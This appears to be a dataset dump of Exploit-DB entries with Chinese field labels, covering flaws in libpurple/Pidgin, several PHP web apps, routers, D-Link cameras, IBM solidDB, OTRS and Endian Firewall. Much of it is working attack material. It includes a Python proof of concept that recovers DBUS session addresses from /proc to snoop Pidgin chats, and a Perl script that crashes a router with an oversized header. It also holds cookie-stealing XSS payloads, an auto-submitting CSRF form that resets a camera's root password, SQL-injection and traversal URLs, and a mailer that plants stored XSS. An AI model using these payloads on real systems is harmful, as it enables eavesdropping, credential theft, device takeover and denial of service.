QLWD/code_shield huggingface dataset:
标题: libpurple 2.8.10 - OTR Information Disclosure EDB-ID: 36884 CVE: 2012-1257 类型: REMOTE 平台: LINUX 发布日期: 2012-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/52175/info

libpurple is prone to an information-disclosure vulnerability.

Successful exploits may allow attackers to obtain potentially sensitive information that may aid in other attacks.

The following products are vulnerable:

libpurple versions prior to 2.10.1
pidgin versions prior to 2.10.1
pidgin-otr versions prior to 3.2.0 

#!/usr/bin/env python
# PoC for snooping on pidgin discussions (OTR/non-OTR) via dbus
# (see CVE-2012-1257)
#
# requires python-dbus and python-gobject
#
# based on sample code found here:
# http://developer.pidgin.im/wiki/DbusHowto
#
# Disclaimer: There's virtually no error handling here,
# so don't rely on this for any serious work.
#
# Author:
# Dimitris Glynos :: { dimitris at census dash labs dot com }

import dbus, gobject, os, sys
from dbus.mainloop.glib import DBusGMainLoop

# same owner processes get to snoop their respective DBUS credentials
# via /proc/<pid>/environ

def obtain_dbus_session_creds():
 all_pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
 env_tmpl = '/proc/%s/environ'
 session_creds = {}

 for pid in all_pids:
  if not (os.stat(env_tmpl % pid).st_uid == os.getuid()):
   continue
  if not os.access(env_tmpl % pid, os.R_OK):
   continue

  f = open(env_tmpl % pid, 'rb')
  contents = f.read()
  f.close()
  for var in contents.split('\0'):
   if var.startswith('DBUS_SESSION_BUS_ADDRESS='):
    val = var[var.index('=')+1:]
    if not session_creds.has_key(val):
     session_creds[val] = 1
 return session_creds

def recvs(account, contact, msg, conversation, flags):
 print "received '%s' from %s" % (msg, contact)

def sends(account, contact, msg, conversation, flags):
 if flags == 1:
  print "sent '%s' to %s" % (msg, contact)

if not os.environ.has_key('DBUS_SESSION_BUS_ADDRESS'):
 creds = obtain_dbus_session_creds()

 if len(creds.keys()) == 0:
  print >> sys.stderr, ( "error: no dbus session " +
   "credentials could be recovered." )
  sys.exit(1)

 if len(creds.keys()) > 1:
  print >> sys.stderr, ( "error: multiple dbus session " +
   "credentials found!\nPlease rerun with the proper "+
   "DBUS_SESSION_BUS_ADDRESS env variable\n" +
   "Here are the recovered credentials:\n")
  for k in creds.keys():
   print >> sys.stderr, "DBUS_SESSION_BUS_ADDRESS=%s" % k
  sys.exit(1)

 os.environ["DBUS_SESSION_BUS_ADDRESS"] = creds.keys()[0]

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SessionBus()

bus.add_signal_receiver(
 recvs,
 dbus_interface="im.pidgin.purple.PurpleInterface",
 signal_name="ReceivedImMsg"
)

bus.add_signal_receiver(
 sends,
 dbus_interface="im.pidgin.purple.PurpleInterface",
        signal_name="WroteImMsg"
)

mainloop = gobject.MainLoop()
mainloop.run() URL: https://www.exploit-db.com/exploits/36884
标题: MyJobList 0.1.3 - 'eid' SQL Injection EDB-ID: 36882 CVE: 2012-1784 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/52168/info

MyJobList is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MyJobList 0.1.3 is vulnerable; other versions may also be affected.

http://www.example.com/?loc=profile&eid=[SQLi] URL: https://www.exploit-db.com/exploits/36882
标题: Dolibarr ERP/CRM 3.2 Alpha - Multiple Directory Traversal Vulnerabilities EDB-ID: 36873 CVE: 2012-1226 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/52113/info

Dolibarr is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting the issues can allow an attacker to obtain sensitive information that could aid in further attacks.

Dolibarr 3.2.0 Alpha is vulnerable; other versions may also be affected.

http://www.example.com/document.php?modulepart=project&file=../[FILE INCLUDE VULNERABILITY!] URL: https://www.exploit-db.com/exploits/36873
标题: Chyrp 2.1.2 - '/includes/error.php?body' Cross-Site Scripting EDB-ID: 36875 CVE: 2012-1001 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/52117/info

Chyrp is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Chyrp 2.1.2 is vulnerable; other versions may also be affected. 

<form action="http://[host]/includes/error.php" method="post">
<input type="hidden" name="ajax" value="1" />
<input type="hidden" name="body" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn"> 
</form> URL: https://www.exploit-db.com/exploits/36875
标题: Mercury MR804 Router - Multiple HTTP Header Fields Denial of Service Vulnerabilities EDB-ID: 36868 CVE: 2012-4999 类型: DOS 平台: HARDWARE 发布日期: 2012-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52106/info

Mercury MR804 router is prone to multiple denial-of-service vulnerabilities.

Remote attackers can exploit these issues to cause the device to crash, denying service to legitimate users.

Mercury MR804 running version 3.8.1 Build 101220 is vulnerable. 

#-------------------------------------------------------------
#!/usr/bin/perl -w
use Socket;
$|=1;
print '*********************************'."\n";
print '* mercurycom MR804 v8.0 DoS PoC *'."\n";
print '*  writed by demonalex@163.com  *'."\n";
print '*********************************'."\n";
$evil='A'x4097;
$test_ip=shift;                           #target ip
$test_port=shift;                         #target port
if(!defined($test_ip) || !defined($test_port)){
    die "usage : $0 target_ip target_port\n";
}
$test_payload=
"GET / HTTP/1.0\r\n".
"Accept: */*\r\n".
"Accept-Language: zh-cn\r\n".
"UA-CPU: x86\r\n".
"If-Unmodified-Since: ".$evil."\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322;".
" .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)\r\n".
"Host: ".$test_ip."\r\n".
"Connection: Keep-Alive"."\r\n\r\n";
$test_target=inet_aton($test_ip);
$test_target=sockaddr_in($test_port, $test_target);
socket(SOCK, AF_INET, SOCK_STREAM, 6) || die "cannot create socket!\n";
connect(SOCK, $test_target) || die "cannot connect the target!\n";
send(SOCK, $test_payload, 0) || die "cannot send the payload!\n";
#recv(SOCK, $test_payload, 100, 0);
close(SOCK);
print "done!\n";
exit(1);
#------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/36868
标题: Webglimpse 2.x - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36883 CVE: 2012-1787 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/52170/info

Webglimpse is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible.

Webglimpse versions 2.18.8 and prior are affected. 

http://www.example.com/wgarcmin.cgi?URL2FIL=URL+2+File+--%3E&URL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

http://www.example.com/wgarcmin.cgi?FIL2URL=%3C--+File+2+URL&FILE=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

http://www.example.com/wgarcmin.cgi?DOMAIN=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T URL: https://www.exploit-db.com/exploits/36883
标题: IBM solidDB 6.5.0.8 - 'SELECT' Statement 'WHERE' Condition Denial of Service EDB-ID: 36869 CVE: 2012-0200 类型: DOS 平台: MULTIPLE 发布日期: 2012-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/52111/info

IBM solidDB is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

IBM solidDB versions prior to 6.5.0.8 Interim Fix 6 are vulnerable. 

SELECT * FROM a WHERE (b >0) AND (b IN (1,2)) URL: https://www.exploit-db.com/exploits/36869
标题: Chyrp 2.1.1 - 'ajax.php' HTML Injection EDB-ID: 36874 CVE: 2012-1001 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/52115/info

Chyrp is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Chyrp 2.1.1 is vulnerable; other versions may also be affected. 

<form action="http://[host]/includes/ajax.php" method="post">
<input type="hidden" name="action" value="preview" />
<input type="hidden" name="feather" value="" />
<input type="hidden" name="field" value="" />
<input type="hidden" name="content" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn"> 
</form> URL: https://www.exploit-db.com/exploits/36874
标题: Xavi 7968 ADSL Router - '/webconfig/wan/confirm.html/confirm?pvcName' Cross-Site Scripting EDB-ID: 36866 CVE: 2012-5322 类型: REMOTE 平台: HARDWARE 发布日期: 2012-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52098/info
  
Xavi 7968 ADSL Router is prone to cross-site scripting, HTML-injection and cross-site request forgery vulnerabilities.
  
The attacker can exploit the issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, or perform certain administrative functions on victim's behalf. Other attacks are also possible.

http://www.example.com/webconfig/wan/confirm.html/confirm?context=pageAction%3Dadd%26pvcName%3D%2522%253e%253c%252ftd%253e%253cscript%253ealert%28document.cookie%29%253c%252fscript%253e%26vpi%3D0%26vci%3D38%26scat%3DUBR%26accessmode%3Dpppoe%26encap%3Dvcmux%26encapmode%3Dbridged%26iptype%3Ddhcp%26nat_enable%3Dfalse%26def_route_enable%3Dfalse%26qos_enable%3Dfalse%26chkPPPOEAC%3Dfalse%26tBoxPPPOEAC%3DNot%2520Configured%26sessiontype%3Dalways_on%26username%3Da%26password%3Dss&confirm=+Apply+ URL: https://www.exploit-db.com/exploits/36866
标题: ContentLion Alpha 1.3 - 'login.php' Cross-Site Scripting EDB-ID: 36870 CVE: 2012-1224 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/52112/info

ContentLion Alpha is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ContentLion Alpha 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/contentlion-alpha-1-3/login.html?'"</script><script>alert('JaVaScr1pT')</script> URL: https://www.exploit-db.com/exploits/36870
标题: D-Link DCS - 'security.cgi' Cross-Site Request Forgery EDB-ID: 36877 CVE: 2012-5319 类型: REMOTE 平台: HARDWARE 发布日期: 2012-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/52134/info

The D-Link DCS-900, DCS-2000, and DCS-5300 are prone to a cross-site request-forgery vulnerability.

Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible.

This issue affects D-Link DCS-900, DCS-2000, and DCS-5300. 

<html>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="form0" action="http://www.example.com/setup/security.cgi">
<input type="hidden" name="rootpass" value="your_pass"/>
<input type="hidden" name="confirm" value="your_pass"/>
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/36877
标题: Oxwall 1.1.1 - 'plugin' Cross-Site Scripting EDB-ID: 36876 CVE: 2012-4928 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/52125/info

Oxwall is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Oxwall 1.1.1 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/ow_updates/?plugin=%27%22%28%29%26%251%3CScRiPt%20%3Eprompt%28982087%29%3C%2fScRiPt%3E URL: https://www.exploit-db.com/exploits/36876
标题: Xavi 7968 ADSL Router - Multiple Cross-Site Request Forgery Vulnerabilities EDB-ID: 36864 CVE: 2012-5323 类型: REMOTE 平台: HARDWARE 发布日期: 2012-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52098/info

Xavi 7968 ADSL Router is prone to cross-site scripting, HTML-injection and cross-site request forgery vulnerabilities.

The attacker can exploit the issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, or perform certain administrative functions on victim's behalf. Other attacks are also possible. 

http://www.example.com/webconfig/wan/confirm.html/confirm?context=pageAction%3Dadd%26pvcName%3D%2522%253e%253c%252ftd%253e%253cscript%253ealert%28document.cookie%29%253c%252fscript%253e%26vpi%3D0%26vci%3D38%26scat%3DUBR%26accessmode%3Dpppoe%26encap%3Dvcmux%26encapmode%3Dbridged%26iptype%3Ddhcp%26nat_enable%3Dfalse%26def_route_enable%3Dfalse%26qos_enable%3Dfalse%26chkPPPOEAC%3Dfalse%26tBoxPPPOEAC%3DNot%2520Configured%26sessiontype%3Dalways_on%26username%3Da%26password%3Dss&confirm=+Apply+ URL: https://www.exploit-db.com/exploits/36864
标题: Dolphin 7.0.x - 'explanation.php?explain' Cross-Site Scripting EDB-ID: 36854 CVE: 2012-0873 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52088/info
 
Dolphin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Dolphin 7.0.7 and prior versions are vulnerable. 

http://www.example.com/dolph/explanation.php?explain=%27%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E URL: https://www.exploit-db.com/exploits/36854
标题: Foxit Reader PDF 7.1.3.320 - Parsing Memory Corruption EDB-ID: 36859 CVE: 2015-3632 类型: LOCAL 平台: WINDOWS 发布日期: 2015-04-29 漏洞利用脚本: #####################################################################################

Application:   Foxit Reader PDF Parsing  Memory Corruption

Platforms:   Windows

Versions:   The vulnerabilities are reported in Foxit Reader and Foxit Enterprise Reader versions 7.1.0.306 and 7.1.3.320 and Foxit Phantom PDF versions 7.1.0.306, 7.1.2.311, and 7.1.3.320.

Secunia:   SA63346

{PRL}:   2015-05

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Foxit Reader is a multilingual freemium PDF tool that can create, view, edit, digitally sign, and print PDF files.[3] Early versions of Foxit Reader were notable for startup performance and small file size.[citation needed] Foxit has been compared favorably toAdobe Reader.[4][5][6] The Windows version allows annotating and saving unfinished PDF forms, FDF import/export, converting to text, highlighting and drawing.

(http://en.wikipedia.org/wiki/Foxit_Reader)

#####################################################################################

============================
2) Report Timeline
============================

2015-04-09: Francis Provencher from Protek Research Lab’s found the issue;
2015-04-13: Foxit Security Response Team confirmed the issue;
2015-04-28: Foxit fixed the issue;
#####################################################################################

============================
3) Technical details
============================

A memory corruption occured within the LZW algorithm that is used to decode GIF. A specifically crafted GIF could lead to a controled memory corruption.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/PRL-2015-05.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36859.pdf


############################################################################### URL: https://www.exploit-db.com/exploits/36859
标题: Dolphin 7.0.x - 'viewFriends.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36853 CVE: 2012-0873 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52088/info

Dolphin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Dolphin 7.0.7 and prior versions are vulnerable. 

http://www.example.com/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&photos_only='"><script>alert(/xss/)</script>
http://www.example.com/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&online_only='"><script>alert(/xss/)</script>
http://www.example.com/dolph/viewFriends.php?iUser=1&page=1&sort=activity&mode='"><script>alert(/xss/)</script> URL: https://www.exploit-db.com/exploits/36853
标题: F*EX 20100208/20111129-2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36851 CVE: 2012-0869 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/52085/info

F*EX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible. 

http://www.example.com/fup [id parameter]
http://www.example.com/fup [to parameter]
http://www.example.com/fup [from parameter] URL: https://www.exploit-db.com/exploits/36851
标题: Xavi 7968 ADSL Router - '/webconfig/lan/lan_config.html/local_lan_config?host_name_txtbox' Cross-Site Scripting EDB-ID: 36865 CVE: 2012-5322 类型: WEBAPPS 平台: HARDWARE 发布日期: 2012-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52098/info
 
Xavi 7968 ADSL Router is prone to cross-site scripting, HTML-injection and cross-site request forgery vulnerabilities.
 
The attacker can exploit the issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, or perform certain administrative functions on victim's behalf. Other attacks are also possible.
 
http://www.example.com/webconfig/lan/lan_config.html/local_lan_config?ip_add_txtbox=www.example2.com&sub_mask_txtbox=255.255.255.0&host_name_txtbox=Hack<SCRIPT>alert(document.cookie)</script>&domain_name_txtbox=local.lan&mtu_txtbox=1500&next=Apply URL: https://www.exploit-db.com/exploits/36865
标题: OTRS < 3.1.x / < 3.2.x / < 3.3.x - Persistent Cross-Site Scripting EDB-ID: 36842 CVE: 2014-1695 类型: WEBAPPS 平台: PHP 发布日期: 2015-04-27 漏洞利用脚本: # Exploit Title: Stored Cross-Site Scripting (XSS) in OTRS
# Date: 28.01.2014
# Exploit Author: Adam Ziaja http://adamziaja.com
# Vendor Homepage: https://www.otrs.com
# Version: 3.1.x before 3.1.20, 3.2.x before 3.2.15, and 3.3.x before 3.3.5
# CVE : CVE-2014-1695

#!/usr/bin/perl -w
use strict;
use MIME::Lite;
my $msg = MIME::Lite->new(
    Subject => 'OTRS XSS PoC',
    From => 'attacker@example.com',
    To => 'otrs@example.com',
    Type => 'text/html',
    Data =>
        '<html><body><img/onerror="alert(\'XSS1\')"src=a><iframe
src=javasc&#x72ipt:alert(\'XSS2\') ></body></html>'
);
$msg->send(); URL: https://www.exploit-db.com/exploits/36842
标题: Endian Firewall 2.4 - 'openvpn_users.cgi?PATH_INFO' Cross-Site Scripting EDB-ID: 36831 CVE: 2012-4923 类型: REMOTE 平台: HARDWARE 发布日期: 2012-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/52076/info

Endian Firewall is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible. 

https://www.example.com/cgi-bin/openvpn_users.cgi?=[XSS] URL: https://www.exploit-db.com/exploits/36831
标题: Tiki Wiki CMS Groupware - 'url' Open Redirection EDB-ID: 36848 CVE: 2012-5321 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/52079/info

Tiki Wiki CMS Groupware is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible. 

http://www.example.com/tiki-featured_link.php?type=f&url=http://www.example2.com URL: https://www.exploit-db.com/exploits/36848
标题: Endian Firewall 2.4 - 'dansguardian.cgi?addrule' Cross-Site Scripting EDB-ID: 36833 CVE: 2012-4923 类型: REMOTE 平台: HARDWARE 发布日期: 2012-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/52076/info
  
Endian Firewall is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible.
  
https://www.example.com/cgi-bin/dansguardian.cgi#addrule[XSS] URL: https://www.exploit-db.com/exploits/36833